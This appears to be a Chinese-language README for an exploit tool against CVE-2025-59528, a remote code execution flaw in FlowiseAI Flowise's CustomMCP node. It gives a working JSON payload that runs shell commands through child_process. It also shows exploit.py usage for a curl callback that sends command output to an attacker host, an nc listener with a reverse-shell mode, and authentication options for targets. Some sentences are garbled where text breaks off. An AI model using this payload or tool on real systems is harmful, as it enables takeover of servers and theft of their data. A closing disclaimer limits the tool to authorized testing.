
CVE-2025-59528 - FlowiseAI CustomMCP 远程代码执行
CVSS 10.0(严重) | 盲式 RCE | FlowiseAI Flowise >= 2.2.7-patch.1 且 < 3.0.6
FlowiseAI Flowise 的 CustomMCP 节点中存在一个严重的远程代码执行漏洞。convertToValidJSONString 函数将来自 mcpServerConfig 参数的用户输入直接传递给 JavaScript 的 Function() 构造函数,其功能等同于 eval(),从而允许以完整的 Node.js 运行时权限执行任意 JavaScript 代码。
JSON5.parse() 替换了 Function())在 packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts 文件第 262–270 行:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
污点传播链:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
这是一个盲式 RCE 漏洞,命令输出不会回显在 HTTP 响应中。请使用回调技术(curl/wget)或反弹 Shell 来确认执行。
| 条件 | 详情 |
|---|---|
| Flowise 版本 | >= 2.2.7-patch.1, < 3.0.6 |
| 网络访问 | 端口 3000 上的 API 端点(默认) |
| 身份验证 | 对于 < 3.0.1 可选,对于 >= 3.0.1 必需 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Start listener
nc -lvnp 4444
# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCP 的 POST 请求日志本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法行为。测试前请务必获得适当授权。